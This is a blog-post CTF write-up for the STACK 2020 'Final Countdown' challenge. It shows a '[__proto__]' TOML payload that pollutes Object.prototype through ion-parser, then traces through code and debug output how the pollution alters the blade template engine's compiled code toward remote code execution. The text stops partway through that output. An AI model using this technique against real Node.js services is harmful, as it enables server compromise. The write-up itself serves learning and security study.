Quan YangJekyll2020-12-13T15:06:26+00:00https://quanyang.github.io/Yeo Quan Yanghttps://quanyang.github.io/https://quanyang.github.io/stack-2020-final-countdown2020-12-12T14:03:41+00:002020-12-12T14:03:41+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>This challenge was part of the STACK the flags 2020 CTF organized by GovTech. I solved this challenge after the CTF was over as it wasn’t available to us during the CTF.</p>
<p>This is a pretty interesting challenge that requires exploiting a prototype pollution vulnerability in a library (ion-parser) in order to manipulate another library (blade) in order to achieve remote code execution.</p>
<h1 id="final-countdown">Final Countdown</h1>
<p><strong>Category:</strong> Web</p>
<p><a href="https://quanyang.github.io/resources/files/stack/final_countdown.zip">Source Code</a><br />
<strong>sha265</strong>: 23fe6d930ad391511e6d2ad1987d9d0531be88705711caaea9efe2efa6da5923</p>
<hr />
<p>A quick glance at the provided source code tells us that this is a web application written in NodeJS. Looking at <code class="language-plaintext highlighter-rouge">app.js</code>, we find routers being defined for the web application.</p>
<blockquote class="filename">
<p>app.js</p>
</blockquote>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre><span class="p">...</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="nx">indexRouter</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/ransomware</span><span class="dl">'</span><span class="p">,</span> <span class="nx">ransomwaresRouter</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/victim</span><span class="dl">'</span><span class="p">,</span> <span class="nx">victimsRouter</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/ransom</span><span class="dl">'</span><span class="p">,</span> <span class="nx">ransomsRouter</span><span class="p">);</span>
<span class="p">...</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Looking through the other JavaScript code, we can learn that this appears to be a ransomware dashboard detailing any collected ransom(s), the victim(s) and details on any deployed ransomware(s), one interesting observation is that you can export the data in the TOML format (Tom’s Obvious, Minimal Language) which looks similar to YAML.</p>
<p>Performing a quick audit of the entire source code, we don’t find any obvious vulnerability in any of the defined routes, however, there is a particular route in <code class="language-plaintext highlighter-rouge">ransomwares.js</code> that appears to be incomplete and more importantly, passes unsanitized user input into a TOML parser (ion-parser).</p>
<blockquote class="filename">
<p>ransomwares.js</p>
</blockquote>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="nx">router</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/:id/config</span><span class="dl">'</span><span class="p">,</span> <span class="nx">upload</span><span class="p">.</span><span class="nx">single</span><span class="p">(</span><span class="dl">'</span><span class="s1">config</span><span class="dl">'</span><span class="p">),</span> <span class="k">async</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span>
<span class="k">try</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">config</span> <span class="o">=</span> <span class="nx">parse</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">file</span><span class="p">.</span><span class="nx">buffer</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
<span class="c1">// await Ransomware.update(config, { where: { id: req.params.id } }) // database locked for maintenance</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">'</span><span class="s1">/ransomware/</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">id</span><span class="p">);</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">sendStatus</span><span class="p">(</span><span class="mi">500</span><span class="p">)</span>
<span class="p">}</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<h3 id="ion-parser-library">ion-parser library</h3>
<p>A quick look up on <a href="https://www.npmjs.com/package/ion-parser">ion-parser</a> shows that this library hasn’t been updated in over a year and the GitHub repository no longer exists.</p>
<p>Looking at some sample TOML data, I hypothesize that it might be possible for a prototype pollution vulnerability to exist in the library and we can quickly verify that with the following NodeJS code:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="p">{</span> <span class="nx">parse</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ion-parser</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Before:</span><span class="dl">"</span><span class="p">,</span> <span class="p">({}).</span><span class="nx">somevar</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">config</span> <span class="o">=</span> <span class="nx">parse</span><span class="p">(</span><span class="s2">`
[__proto__]
somevar = 'this is prototype pollution!'
`</span><span class="p">)</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">After:</span><span class="dl">"</span><span class="p">,</span> <span class="p">({}).</span><span class="nx">somevar</span><span class="p">)</span><span class="o">%</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running gives us the following output:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre>→ node sample.js
Before: undefined
After: this is prototype pollution!
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the above code shows that we have managed to inject properties into <code class="language-plaintext highlighter-rouge">Object.prototype</code>, which most objects inherits from.</p>
<p>You can read more about prototype pollution <a href="https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications">here</a>.</p>
<p>Looking at the source code for ion-parser, we can find multiple places where prototype pollution could occur, but I’ll leave this as an exercise for the reader.</p>
<h3 id="achieving-remote-code-execution">Achieving Remote Code Execution</h3>
<blockquote>
<p>So now that we have prototype pollution, how do we escalate this into remote code execution (RCE)?</p>
</blockquote>
<p>Prototype pollution allows us to inject properties into objects, and so if we are able to control values of a property that is then used in a dangerous function like <code class="language-plaintext highlighter-rouge">eval</code> or <code class="language-plaintext highlighter-rouge">exec</code>, we would be able to abuse that in order to achieve RCE.</p>
<p><img src="https://quanyang.github.io/resources/images/stack/ast.png" alt="" />
<em>Image from https://blog.p6.is/AST-Injection/</em></p>
<p>Template engines like <strong>handlebars</strong>, <strong>pug</strong> makes good targets as they often have phases where templates are parsed into abstract syntax tree (AST) before being compiled and executed. Therefore, if we are able to influence the AST, we would be able to achieve RCE when it is executed.</p>
<p>POSIX has a great blog post on AST injection for <strong>handlebars</strong> and <strong>pug</strong>, you can read more about it <a href="https://blog.p6.is/AST-Injection/">here</a>.</p>
<p>In this CTF challenge, the <a href="https://github.com/bminer/node-blade">blade</a> template engine is used by the web application to render HTML output.</p>
<p>Let’s start by looking at a simple example and observe what is going on. Notice I set <code class="language-plaintext highlighter-rouge">debug</code> to <code class="language-plaintext highlighter-rouge">true</code> in order to get more information.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="nx">blade</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">blade</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="s2">`html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`</span><span class="p">;</span>
<span class="nx">blade</span><span class="p">.</span><span class="nx">compile</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span><span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">:</span> <span class="kc">true</span><span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">tmpl</span><span class="p">)</span> <span class="p">{</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running this gave us the following output:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="code"><pre>→ node sample.js
Compiling:
html
<span class="nb">head
</span>title Blade
body
<span class="c">#nav</span>
ul
- <span class="k">for</span><span class="o">(</span>var i <span class="k">in </span>nav<span class="o">)</span>
li
a<span class="o">(</span><span class="nv">href</span><span class="o">=</span>nav[i]<span class="o">)=</span> i
<span class="c">#content.center</span>
h1 Blade is cool
<span class="nt">---------------------------------------------</span>
AST:
<span class="o">{</span>
doctypes: <span class="o">[]</span>,
nodes: <span class="o">[</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'html'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{}</span>,
children: <span class="o">[</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'a'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{</span> href: <span class="o">[</span>Object] <span class="o">}</span>,
children: <span class="o">[</span> <span class="o">[</span>Object] <span class="o">]</span>,
line: 9,
col: 25
<span class="o">}</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">]</span>,
line: 1,
col: 1
<span class="o">}</span>
<span class="o">]</span>
<span class="o">}</span>
<span class="nt">---------------------------------------------</span>
Template:
__ <span class="o">=</span> __ <span class="o">||</span> <span class="o">[]</span><span class="p">;</span>__.r <span class="o">=</span> __.r <span class="o">||</span> blade.Runtime<span class="p">;</span><span class="k">if</span><span class="o">(!</span>__.func<span class="o">)</span> __.func <span class="o">=</span> <span class="o">{}</span>,__.blocks <span class="o">=</span> <span class="o">{}</span>,__.chunk <span class="o">=</span> <span class="o">{}</span><span class="p">;</span>__.locals <span class="o">=</span> locals <span class="o">||</span> <span class="o">{}</span><span class="p">;</span>
try <span class="o">{</span>with<span class="o">(</span>__.locals<span class="o">)</span> <span class="o">{</span>__.line<span class="o">=</span>1,__.col<span class="o">=</span>1<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<html'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>2,__.col<span class="o">=</span>5<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<head'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>3,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<title'</span>+<span class="s1">'>'</span>+<span class="s2">"Blade"</span>+<span class="s1">'</title>'</span>+<span class="s1">'</head>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>4,__.col<span class="o">=</span>5<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<body'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>5,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<div'</span>+<span class="s1">' id="nav"'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>6,__.col<span class="o">=</span>13<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<ul'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>7,__.col<span class="o">=</span>17<span class="p">;</span><span class="k">for</span><span class="o">(</span>var i <span class="k">in </span>nav<span class="o">)</span>
<span class="o">{</span>__.line<span class="o">=</span>8,__.col<span class="o">=</span>21<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<li'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>9,__.col<span class="o">=</span>25<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<a'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"href"</span>:<span class="o">{</span>v:nav[i],e:1<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span>+__.r.escape<span class="o">(</span>i
<span class="o">)</span>+<span class="s1">'</a>'</span>+<span class="s1">'</li>'</span><span class="o">)</span><span class="p">;</span><span class="o">}</span>__.push<span class="o">(</span><span class="s1">'</ul>'</span>+<span class="s1">'</div>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>10,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<div'</span>+<span class="s1">' id="content"'</span>+<span class="s1">' class="center"'</span>+<span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>11,__.col<span class="o">=</span>13<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<h1'</span>+<span class="s1">'>'</span>+<span class="s2">"Blade is cool"</span>+<span class="s1">'</h1>'</span>+<span class="s1">'</div>'</span>+<span class="s1">'</body>'</span>+<span class="s1">'</html>'</span><span class="o">)</span><span class="p">;</span><span class="o">}}</span> catch<span class="o">(</span>e<span class="o">){</span><span class="k">return </span>cb<span class="o">(</span>__.r.rethrow<span class="o">(</span>e, __<span class="o">)</span> <span class="o">)</span><span class="p">;</span><span class="o">}</span><span class="k">if</span><span class="o">(!</span>__.inc<span class="o">)</span> __.r.done<span class="o">(</span>__<span class="o">)</span><span class="p">;</span>cb<span class="o">(</span>null, __.join<span class="o">(</span><span class="s2">""</span><span class="o">)</span>, __<span class="o">)</span><span class="p">;</span>
<span class="nt">---------------------------------------------</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The debug information shows us the AST and the template code after compilation, from here, the goal is straightforward: <strong><em>we need to influence the process such that we are able to inject arbitrary code into the final compiled template</em></strong>.</p>
<p>I started by running the same sample code, but with prototype pollution, in order to begin testing the effects it has on the compilation process.</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="nx">blade</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">blade</span><span class="dl">'</span><span class="p">);</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">someprop</span> <span class="o">=</span> <span class="p">{</span><span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">};</span>
<span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="s2">`html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`</span><span class="p">;</span>
<span class="nx">blade</span><span class="p">.</span><span class="nx">compile</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span><span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">:</span> <span class="kc">true</span><span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">tmpl</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This time, the compilation process failed and we are provided a non-null error:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
</pre></td><td class="code"><pre><span class="nt">---------------------------------------------</span>
AST:
<span class="o">{</span>
doctypes: <span class="o">[]</span>,
nodes: <span class="o">[</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'html'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{}</span>,
children: <span class="o">[</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'a'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{</span> href: <span class="o">[</span>Object], undefined: undefined <span class="o">}</span>,
children: <span class="o">[</span> <span class="o">[</span>Object] <span class="o">]</span>,
line: 9,
col: 25
<span class="o">}</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">]</span>,
line: 1,
col: 1
<span class="o">}</span>
<span class="o">]</span>
<span class="o">}</span>
<span class="nt">---------------------------------------------</span>
TypeError: Compile error: Cannot <span class="nb">read </span>property <span class="s1">'text'</span> of undefined
at <anonymous>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:309:17<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:356:12<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:486:11<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:356:12<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:356:12<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:356:12<span class="o">)</span>
at Compiler._compileNode <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:356:12<span class="o">)</span>
at Compiler.compile <span class="o">(</span>/source/node_modules/blade/lib/compiler.js:114:9<span class="o">)</span>
at Object.compile <span class="o">(</span>/source/node_modules/blade/lib/blade.js:57:12<span class="o">)</span>
at Object.<anonymous> <span class="o">(</span>/source/sample.js:16:7<span class="o">)</span> <span class="o">{</span>
<span class="nb">source</span>: <span class="s1">'html\n'</span> +
<span class="s1">' head\n'</span> +
<span class="s1">' title Blade\n'</span> +
<span class="s1">' body\n'</span> +
<span class="s1">' #nav\n'</span> +
<span class="s1">' ul\n'</span> +
<span class="s1">' - for(var i in nav)\n'</span> +
<span class="s1">' li\n'</span> +
<span class="s1">' a(href=nav[i])= i\n'</span> +
<span class="s1">' #content.center\n'</span> +
<span class="s1">' h1 Blade is cool'</span>,
column: undefined,
lastFilename: undefined,
filename: undefined,
line: undefined
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Compared to the previous AST, notice that in this AST, the <code class="language-plaintext highlighter-rouge">a</code> node has an additional <code class="language-plaintext highlighter-rouge">undefined</code> attribute, possibly due to the prototype pollution.</p>
<p>From here, we begin diving into the source code for <strong>blade</strong>, in order to figure out why the error was occurring, this lead me to the following code within the parser module for <strong>blade</strong>:</p>
<blockquote class="filename">
<p>blade/lib/parser/index.js</p>
</blockquote>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre><span class="o">**</span> <span class="nx">truncated</span> <span class="o">**</span>
<span class="nx">result0</span> <span class="o">=</span> <span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">offset</span><span class="p">,</span> <span class="nx">line</span><span class="p">,</span> <span class="nx">column</span><span class="p">,</span> <span class="nx">first_attr</span><span class="p">,</span> <span class="nx">next_attrs</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">attrs</span> <span class="o">=</span> <span class="p">{};</span>
<span class="nx">attrs</span><span class="p">[</span><span class="nx">first_attr</span><span class="p">.</span><span class="nx">name</span><span class="p">]</span> <span class="o">=</span> <span class="nx">first_attr</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="k">in</span> <span class="nx">next_attrs</span><span class="p">)</span>
<span class="nx">attrs</span><span class="p">[</span><span class="nx">next_attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">name</span><span class="p">]</span> <span class="o">=</span> <span class="nx">next_attrs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">value</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">attrs</span><span class="p">;</span>
<span class="p">})(</span><span class="nx">pos0</span><span class="p">.</span><span class="nx">offset</span><span class="p">,</span> <span class="nx">pos0</span><span class="p">.</span><span class="nx">line</span><span class="p">,</span> <span class="nx">pos0</span><span class="p">.</span><span class="nx">column</span><span class="p">,</span> <span class="nx">result0</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="nx">result0</span><span class="p">[</span><span class="mi">4</span><span class="p">]);</span>
<span class="o">**</span> <span class="nx">truncated</span> <span class="o">**</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>So it seems like because <code class="language-plaintext highlighter-rouge">first_attr.name</code> is undefined and <code class="language-plaintext highlighter-rouge">first_attr.value</code> is undefined, we end up with the object in the AST above where we have an <code class="language-plaintext highlighter-rouge">undefined</code> property with <code class="language-plaintext highlighter-rouge">undefined</code> value.</p>
<p>This means, the following sample code with prototype pollution should allow us to successfully compile the template without any errors:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre><span class="kd">const</span> <span class="nx">blade</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">blade</span><span class="dl">'</span><span class="p">);</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">someprop</span> <span class="o">=</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">name</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">somename</span><span class="dl">'</span><span class="p">,</span>
<span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">somevalue</span><span class="dl">'</span>
<span class="p">};</span>
<span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="s2">`html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`</span><span class="p">;</span>
<span class="nx">blade</span><span class="p">.</span><span class="nx">compile</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span><span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">:</span> <span class="kc">true</span><span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">tmpl</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">tmpl</span><span class="p">);</span>
<span class="p">});</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>This gave us the following output</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code"><pre>AST:
<span class="o">{</span>
doctypes: <span class="o">[]</span>,
nodes: <span class="o">[</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'html'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{}</span>,
children: <span class="o">[</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">{</span>
<span class="nb">type</span>: <span class="s1">'tag'</span>,
name: <span class="s1">'a'</span>,
<span class="nb">id</span>: null,
classes: <span class="o">[]</span>,
attributes: <span class="o">{</span> href: <span class="o">[</span>Object], somename: <span class="s1">'somevalue'</span> <span class="o">}</span>,
children: <span class="o">[</span> <span class="o">[</span>Object] <span class="o">]</span>,
line: 9,
col: 25
<span class="o">}</span>
<span class="k">**</span> truncated <span class="k">**</span>
<span class="o">]</span>,
line: 1,
col: 1
<span class="o">}</span>
<span class="o">]</span>
<span class="o">}</span>
<span class="nt">---------------------------------------------</span>
Template:
__ <span class="o">=</span> __ <span class="o">||</span> <span class="o">[]</span><span class="p">;</span>__.r <span class="o">=</span> __.r <span class="o">||</span> blade.Runtime<span class="p">;</span><span class="k">if</span><span class="o">(!</span>__.func<span class="o">)</span> __.func <span class="o">=</span> <span class="o">{}</span>,__.blocks <span class="o">=</span> <span class="o">{}</span>,__.chunk <span class="o">=</span> <span class="o">{}</span><span class="p">;</span>__.locals <span class="o">=</span> locals <span class="o">||</span> <span class="o">{}</span><span class="p">;</span>
try <span class="o">{</span>with<span class="o">(</span>__.locals<span class="o">)</span> <span class="o">{</span>__.line<span class="o">=</span>1,__.col<span class="o">=</span>1<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<html'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>2,__.col<span class="o">=</span>5<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<head'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>3,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<title'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span>+<span class="s2">"Blade"</span>+<span class="s1">'</title>'</span>+<span class="s1">'</head>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>4,__.col<span class="o">=</span>5<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<body'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>5,__.col<span class="o">=</span>9<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<div'</span>+<span class="s1">' id="nav"'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>6,__.col<span class="o">=</span>13<span class="p">;</span>__.push<span class="o">(</span><span class="s1">'<ul'</span><span class="o">)</span><span class="p">;</span>__.r.attrs<span class="o">({</span><span class="s2">"someprop"</span>:<span class="o">{</span>v:undefined<span class="o">}}</span>, __<span class="o">)</span><span class="p">;</span>__.push<span class="o">(</span><span class="s1">'>'</span><span class="o">)</span><span class="p">;</span>__.line<span class="o">=</span>7,__.col<span class="o">=</span>17<span class="p">;</span><span class="k">for</span><span class="o">(</span>var i <span class="k">in </span>nav<span class="o">)</span>
